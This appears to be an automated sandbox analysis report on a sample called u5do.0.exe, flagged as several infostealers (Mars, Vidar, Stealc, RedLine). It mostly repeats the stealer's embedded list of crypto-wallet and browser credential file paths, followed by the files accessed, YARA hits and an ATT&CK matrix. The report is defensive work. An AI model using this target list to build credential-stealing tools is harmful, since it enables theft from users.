Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: powershell.exe, 00000007.00000002.2069945377.0000000007C40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 12.2.cmd.exe.63000c8.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.cmd.exe.63000c8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2450909724.0000000006300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: u5do.0.exe PID: 2968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\hmgv, type: DROPPED

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 8.2.u5do.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.u5do.0.exe.40e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.u5do.0.exe.40e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.u5do.0.exe.40a0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.u5do.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.u5do.0.exe.40a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2524446815.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2090320672.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: 12.2.cmd.exe.63000c8.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.cmd.exe.63000c8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2450909724.0000000006300000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\hmgv, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 00000008.00000002.2524680807.000000000418A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: u5do.0.exe PID: 2968, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 8.2.u5do.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.u5do.0.exe.40e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.3.u5do.0.exe.40e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.u5do.0.exe.40a0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.u5do.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.u5do.0.exe.40a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2524446815.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2090320672.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: u5do.0.exe PID: 2968, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE90B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	8_2_6BE90B40
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BDB8EA0 sqlite3_clear_bindings,	8_2_6BDB8EA0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BE90D60 sqlite3_bind_parameter_name,	8_2_6BE90D60

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	11 Native API	11 Scripting	1 Abuse Elevation Control Mechanism	2 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	11 DLL Side-Loading	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	112 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
